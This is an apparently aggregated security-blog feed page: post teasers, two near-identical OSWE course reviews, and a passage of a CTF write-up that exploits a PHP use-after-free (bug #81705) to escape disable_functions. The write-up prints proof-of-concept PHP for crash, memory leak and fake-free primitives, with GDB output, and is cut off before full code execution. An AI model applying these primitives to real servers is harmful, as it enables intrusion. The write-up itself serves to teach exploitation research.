๐Ÿ”’
There are new articles available, click to refresh the page.
โœ‡ Hexacorn Ltd

Not installing the installers, part 2

By: adam โ€”
In the last post I described how we can pull some interesting metadata from decompiled installers. Today I want to discuss one practical example of how this data can enrich [โ€ฆ]
โœ‡ Hexacorn Ltd

Not installing the installers

By: adam โ€”
Looking at installers of goodware is quite boring. They do the right thing, at least most of the time, and there is not much to see there. However, if you [โ€ฆ]
โœ‡ Hexacorn Ltd

Hijacking HijackThis

By: adam โ€”
Long before endpoint event logging became a norm it was incredibly difficult to collect information about popular processes, services, paths, CLSIDs, etc.. Antivirus companies, and later sandbox companies had tones [โ€ฆ]
โœ‡ HanseSecure

HanseSecureCar #3

By: Hansemann โ€”
Die Feinheiten Einmal alle Ideen und Wรผnsche dargelegt. Die Mรถglichkeiten (Farben, Oberflรคchen, Effekte) und Materialien durchgegangen. Mit dem CAR GROOMER Team besprochen und visualisiert. Kurze Zeit spรคter โ€ฆ. Hier war er- unser Van in 3D. Nochmals Kleinigkeiten personalisiert und ab gingยดs in den Urlaub fรผr unseren Vanโ€ฆ WRAPPING In wie weit ihr euer Auto verรคndern [โ€ฆ]
โœ‡ RCE Security

AWAE Course and OSWE Exam Review

By: Julien Ahrens โ€”

Introduction

This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course and its OSWE exam by Offensive-Security. Iโ€™ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that Iโ€™ve done a lot of source code reviews in different languages already.

This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level courseโ€“it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.

I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.

The Courseware & the Labs

Iโ€™d say itโ€™s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if youโ€™re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I donโ€™t recommend taking this course without prior programming knowledge.

You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually donโ€™t encounter in your day-to-day BugBounty business. Some of these are:

  • Authentication Bypasses of all kinds
  • Type Juggling
  • SQL Injection
  • Server-Side JavaScript Injection
  • Deserialization
  • Template Injection
  • Cross-Site Scripting (this was unexpected in an RCE context!)
  • Server-Side Request Forgery
  • Prototype Pollution
  • Classic command injection

It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, Iโ€™d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.

The Exam

Overview

The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through your target machines, where you have full access to the applicationโ€™s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.

The Proctoring

But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.

The proctoring itself wasnโ€™t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.

Basic Machine Setup

After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if youโ€™d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). Iโ€™ve used the following software for the exam:

  • macOS Monterey 12.3.1
  • Viscosity for the VPN connection
  • Microsoft Remote Desktop to connect to the exam machines
  • Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
  • BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
  • Python for all my scripting works

The exam machines come in a group of two, which means youโ€™ll get one development machine to which youโ€™ll have full access and one โ€œproductionโ€ machine which you donโ€™t have complete access. Youโ€™ll have to do all your research and write your exploit chain on the development machine and afterward perform your exploit against the production machine, which holds the required flags.

The development machines have a basic setup of everything you need to start your journey. You donโ€™t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the applicationโ€™s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that youโ€™ve read the course materials carefully for your debugging setup and youโ€™re familiar with the used IDEs.

Exam Goal

The goal of the exam is to pwn these independent production machines using a single script - choose whatever scripting language youโ€™re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You need to have at least 85 out of 100 points to pass the exam point-wise.

Pwn #1

Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.

Iโ€™ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.

After I got everything, I went to sleep for about 10 hours (thatโ€™s important for me to keep a clear mind), and already having half of the required points got me a calm night.

Pwn #2

After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2, but I still had to find the vulnerability #1. Unfortunately, that also took longer than expected because Iโ€™ve followed a rabbit hole for about two hours until Iโ€™ve noticed that it wasnโ€™t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. Iโ€™ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!

I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.

Documentation

On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!

I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - Iโ€™m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.

A couple of days later, I received the awaited happy mail from Offensive-Security saying that Iโ€™ve passed the exam

netcup-xss

Who Should Take This Course?

The course itself is excellent in its content, presentation, and lab-quality. I havenโ€™t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, youโ€™ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source codeโ€™ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.

So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view on how small coding errors can result in impactful bugs by just leaving out a single equal sign.

But suppose youโ€™ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.

โœ‡ RCE Security

OSWE Course And Exam Review

By: Julien Ahrens โ€”

Introduction

This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course provided by Offensive-Security. Iโ€™ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that Iโ€™ve done a lot of source code reviews in different languages already.

This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level courseโ€“it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.

I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.

The Courseware & the Labs

Iโ€™d say itโ€™s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if youโ€™re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I donโ€™t recommend taking this course without prior programming knowledge.

You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually donโ€™t encounter in your day-to-day BugBounty business. Some of these are:

  • Authentication Bypasses of all kinds
  • Type Juggling
  • SQL Injection
  • Server-Side JavaScript Injection
  • Deserialization
  • Template Injection
  • Cross-Site Scripting (this was unexpected in an RCE context!)
  • Server-Side Request Forgery
  • Prototype Pollution
  • Classic command injection

It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, Iโ€™d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.

The Exam

Overview

The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through 2 target machines, where you have full access to the applicationโ€™s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.

The Proctoring

But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.

The proctoring itself wasnโ€™t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.

Basic Machine Setup

After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if youโ€™d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). Iโ€™ve used the following software for the exam:

  • macOS Monterey 12.3.1
  • Viscosity for the VPN connection
  • Microsoft Remote Desktop to connect to the exam machines
  • Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
  • BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
  • Python for all my scripting works

The exam machines have a basic setup of everything you need to start your journey. You donโ€™t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the applicationโ€™s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that youโ€™ve read the course materials carefully for your debugging setup and youโ€™re familiar with the used IDEs.

Exam Goal

The goal of the exam is to pwn two independent machines using a single script - choose whatever scripting language youโ€™re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You also have to submit two flags for the authentication bypass (35 points) and for the RCE (15 points). You need to have at least 85 out of 100 points to pass the exam point-wise.

Pwn #1

Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities to get the RCE. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.

Iโ€™ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.

After I got everything, I went to sleep for about 10 hours (thatโ€™s important for me to keep a clear mind), and already having half of the required points got me a calm night.

Pwn #2

After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2 (so the RCE part), but I still had to find the authentication bypass. Unfortunately, that also took longer than expected because Iโ€™ve followed a rabbit hole for about two hours until Iโ€™ve noticed that it wasnโ€™t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. Iโ€™ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!

I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.

Documentation

On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!

I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - Iโ€™m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.

A couple of days later, I received the awaited happy mail from Offensive-Security saying that Iโ€™ve passed the exam

netcup-xss

Who Should Take This Course?

The course itself is excellent in its content, presentation, and lab-quality. I havenโ€™t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, youโ€™ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source codeโ€™ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.

So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view of the allegedly minor but impactful coding errors, which can result from just a single missing equal sign.

But suppose youโ€™ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.

โœ‡ Hexacorn Ltd

Infosec Salaries โ€“ the myth and the reality

By: adam โ€”
Update 3 If you want to know more about salaries at FAANG and all over the world look at the following resources: levels.fyi h1bdata.info https://docs.google.com/spreadsheets/d/1TWvPQalmwl1sIS3n2eOU4KST4oJwcxtSfT8lMo9IgVM/edit https://twitter.com/LadyCyberRosie/status/1490695657249816583 Update 2 tl; dr; [โ€ฆ]
โœ‡ HanseSecure

HanseSecureCar #2

By: Hansemann โ€”
VON DER IDEE ZUR UMSETZUNG Zettel, Stift, Ideen โ€“ nach vielen รœberlegungen und zerknรผllten Zetteln entstand dieser Entwurf. Ab zur Planung Farben Das Aufgreifen der Firmenspezifischen Farben = rot/ grau/ schwarz/ weiรŸ Grundfarbe grau / Autodetails schwarz / Linien & Logo & Schrift rot + weiรŸ Auffรคllige Farbe passend zum Web โ€“ tรผrkis Matrix/ binรคr [โ€ฆ]
โœ‡ Hexacorn Ltd

The Anti-VM trick that is kindaโ€ฆ personal

By: adam โ€”
I have written a lot about anti-vm tricks, and while this topic is so worn out that almost feels like kicking a dead horse I felt there is still a [โ€ฆ]
โœ‡ Adepts of 0xCC

In the land of PHP you will always be (use-after-)free

By: Adepts of 0xCC โ€”

Dear Fellowlship, todayโ€™s homily is about the quest of a poor human trying to escape the velvet jail of disable_functions and open_basedir in order to achieve the holy power of executing arbitrary commands. Please, take a seat and listen to the story of how our hero defeated PHP with the help of UAF The Magician.

Prayers at the foot of the Altar a.k.a. disclaimer

First of all we have to apologize because of our delay on the publication date: this post should have been released 7 days ago.

The challenge was solved only by @kachakil and @samsa2k8, you can read their approach here. About 7-8 users were participating actively during the whole week, and only 2 (plus the winners) were in the right direction to get the flag, although everyone tried to use known exploits. Our intention was to avoid that and force people to craft their exploits from scratch butโ€ฆ a valid flag is a valid flag :).

We are going to keep releasing different challenges during the year, so keep an eye. We promise to add a list of winners in our blog :D

In case you did not read our tweet with the challenge, you can deploy it locally with docker and try to solve it.

And last but not least, it is CRUCIAL TO READ THIS ARTICLE BEFORE: A deep dive into disable_functions bypasses and PHP exploitation. Tons of details about disable_functions and the exploit methodology is explained in depth in that article, so this information is not going to be repeated here. Be wise and stop reading the current post until you end the other.

Prologue

The intention of this first challenge was to highlight something that is pretty obvious for some of us but that others keep struggling to accept: disabling โ€œwell-knownโ€ functions and restricting the paths through open_basedir IS TRIVIAL TO BYPASS. People does not realize how easy they are to bypass. If you have a web platform that have vulnerabilities that could lead to the execution of arbitrary PHP, you are fucked. PHP is so full of โ€œbugsโ€ (we will not call them โ€œvulnerabilitiesโ€) in their own internals that it costs less than 5 minutes to find something abusable to bypass those restrictions.

Of course disabling functions is usefull and highly recommended because it is going to block most of script kiddies trying to pwn your server with the last vulnerability affecting a framework/CMS, but keep in mind that for a real attacker this is not going to stop him. And also this applies for pentesters and Red Teamers.

If you, our dearest reader, wonder about what sophisticated techniques we follow to identify โ€œhappy accidentsโ€ that can be used for bypassingโ€ฆ fuzzing? code review? Nah! Just go to the PHP bug tracker and search for juicy keywords and then sort by date:

Results for use-after-free on PHP bugtracker
Results for "use-after-free" on PHP bugtracker

In our case the first one (Bug #81705 type confusion/UAF on set_error_handler with concat operation) can fit our needs as the function set_error_handler is enabled.

Dream Theater - The root of all evil

The issue and the root cause are well explained in the original report, so we are going to limit ourselves by quoting the original text:

Here is a proof of concept for crash reproduction:

<?php

$my_var = str_repeat("a", 1);
set_error_handler(
    function() use(&$my_var) {
        echo("error\n");
        $my_var = 0x123;
    }
);
$my_var .= [0];

?>

If you execute this snippet, it should cause SEGV at address 0x123.

(โ€ฆ)

When PHP executes the line $my_var .= [0];, it calls concat_function defined in Zend/zend_operators.c to try to concat given values. Since the given values may not be strings, concat_functiontries to convert them into strings with zval_get_string_func.

ZEND_TRY_BINARY_OBJECT_OPERATION(ZEND_CONCAT);
	ZVAL_STR(&op1_copy, zval_get_string_func(op1));
	if (UNEXPECTED(EG(exception))) {
		zval_ptr_dtor_str(&op1_copy);
		if (orig_op1 != result) {
			ZVAL_UNDEF(result);
		}
		return FAILURE;
	}

If the given value is an array, zval_get_string_func calls zend_error.

case IS_ARRAY:
	zend_error(E_WARNING, "Array to string conversion");
	return (try && UNEXPECTED(EG(exception))) ?
	NULL : ZSTR_KNOWN(ZEND_STR_ARRAY_CAPITALIZED);

Because we can register an original error handler that is called by zend_error by using set_error_handler, we can run almost arbitrary codes DURING concat_function is running.

In the above PoC, for example, $my_var will be overwritten with integer 0x123 when zend_error is triggered. concat_function, however, implicitly assumes the variables op1 and op2 are always strings, and thus type confusion occurs as a result.

Also is needed to quote this message from cmb in the same thread that clarifies the UAF situation:

The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator). For the script from comment 1641358352[2], that decreases the refcount to zero, but on shutdown, the literal stored in the op array will be released again. If that script is modified to use a dynamic value (range(1,4) instead of [1,2,3,4]), its is already freed, when that code in concat_function() tries to release it again.

[1] https://github.com/php/php-src/blob/php-8.1.1/Zend/zend_operators.c#L1928
[2] https://bugs.php.net/bug.php?id=81705#1641358352

So far we have a reproducible crash and primer for an exploit (in the same thread) from which we can draw ideas. In order to start building our exploit we are going to download PHP and compile it with debug symbols and without optimizations.

cd ../php-7.4.27/
./configure --disable-shared  --without-sqlite3 --without-pdo-sqlite
sed -i "s/ -O2 / -O0 /g" Makefile
make -j$(proc)
sudo make install

Here is my env (yes we are using an older version but do not worry in the epilogue we fix it :P):

PHP 7.4.27 (cli) (built: Feb 12 2022 16:45:41) ( NTS ) 
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies

Letโ€™s run the reproducible crash on GDB using php-cli:

   1860	 			}
   1861	 			op2 = &op2_copy;
   1862	 		}
   1863	 	} while (0);
   1864	 
          // op1=0x007fffffff70c0  โ†’  [...]  โ†’  0x0000000000000123
 โ†’ 1865	 	if (UNEXPECTED(Z_STRLEN_P(op1) == 0)) {
   1866	 		if (EXPECTED(result != op2)) {
   1867	 			if (result == orig_op1) {
   1868	 				i_zval_ptr_dtor(result);
   1869	 			}
   1870	 			ZVAL_COPY(result, op2);
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ threads โ”€โ”€โ”€โ”€
[#0] Id 1, Name: "php", stopped 0x555555b44039 in concat_function (), reason: SIGSEGV
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ trace โ”€โ”€โ”€โ”€
[#0] 0x555555b44039 โ†’ concat_function(result=0x7ffff3e55608, op1=0x7ffff3e55608, op2=0x7fffffff7400)
[#1] 0x555555caf4d1 โ†’ zend_binary_op(op2=0x7ffff3e911d0, op1=0x7ffff3e55608, ret=0x7ffff3e55608)
[#2] 0x555555caf4d1 โ†’ ZEND_ASSIGN_OP_SPEC_CV_CONST_HANDLER()
[#3] 0x555555cfb267 โ†’ execute_ex(ex=0x7ffff3e13020)
[#4] 0x555555cfe6e6 โ†’ zend_execute(op_array=0x7ffff3e80380, return_value=0x0)
[#5] 0x555555b5213c โ†’ zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#6] 0x555555a8a8ae โ†’ php_execute_script(primary_file=0x7fffffffcbe0)
[#7] 0x555555d012b1 โ†’ do_cli(argc=0x2, argv=0x55555678a350)
[#8] 0x555555d026e5 โ†’ main(argc=0x2, argv=0x55555678a350)

We can confirm that the issue is present. If we check the original PoC reported on that bug tracker thread we can see this:

// Just for attaching a debugger.
// Removing these lines makes the exploit fail,
// but it doesn't mean this exploit depends on fopen.
// By considering the heap memory that had been allocated for the stream object and
// adjusting heap memory, the exploit will succeed again.

$f = fopen(โ€˜php://stdinโ€™, โ€˜rโ€™); 
fgets($f);

$my_var = [[1,2,3,4],[1,2,3,4]];
set_error_handler(function() use(&$my_var,&$buf){
    $my_var=1;
    $buf=str_repeat(โ€œxxxxxxxx\x00\x00\x00\x00\x00\x00\x00\x00", 16);
});
$my_var[1] .= 1234;

$my_var[1] .= 1234;

$obj_addr = 0;
for ($i = 23; $i >= 16; $i--){
    $obj_addr *= 256;
    $obj_addr += ord($buf[$i]);
}

This code can be adapted to confirm the UAF issue. In our case we can edit it to leak 0x100 bytes of memory:

<?php

function leak_test() {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 255;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= 1337; 
    return $buf;
}


function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


print leak_test();

?>

When we print the $buf variable we can see memory leaked (the pointer in the hex dump is a clear indicator of it -also this pointer is a good leak of the heap-):

โžœ  concat-exploit php blog01.php | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 6019 40b8 8f7f 0000 0601 0000 0000 0000  `[email protected]
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Keep in mind that PHP believes this $buf is a string so we can access to read/modify bytes in memory by just $buff[offset]. This means we have a relative write/read primitive that we need to weaponize.

The Primitives - Crash

Once we have identified the vulnerability and how to trigger it we need to find a way to get arbitrary read and write primitives. To build our exploit we are going to follow a similar schema as the exploit that Mm0r1 created for the BackTrace bug (the exploit is explained in depth in the article linked at the beggining of this post, so go and read it!).

If you remember this fragment from the quoted thread:

The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator)

We can take advantage of this to get the ability to release memory at our will. As we saw with the 0x123 crash example, we can forge a fake value that is going to be passed to the PHP internal functions in charge to release memory. Letโ€™s build a De Bruijn pattern using ragg2 and use it:

<?php

function free() {

         $contiguous = [];
            for ($i = 0; $i < 10; $i++) {
                $contiguous[] = alloc(0x100, "D");
            }
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
        
    }


function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}




print free();

?>

Fire in the hole!

โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ source:/home/vagrant/E[...].h+1039 โ”€โ”€โ”€โ”€
   1034	 	ZEND_RC_MOD_CHECK(p);
   1035	 	return ++(p->refcount);
   1036	 }
   1037	 
   1038	 static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
          // p=0x007fffffff72b8  โ†’  0x4141484141474141
 โ†’ 1039	 	ZEND_ASSERT(p->refcount > 0);
   1040	 	ZEND_RC_MOD_CHECK(p);
   1041	 	return --(p->refcount);
   1042	 }
   1043	 
   1044	 static zend_always_inline uint32_t zend_gc_addref_ex(zend_refcounted_h *p, uint32_t rc) {
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ threads โ”€โ”€โ”€โ”€
[#0] Id 1, Name: "php", stopped 0x555555b44b2f in zend_gc_delref (), reason: SIGSEGV
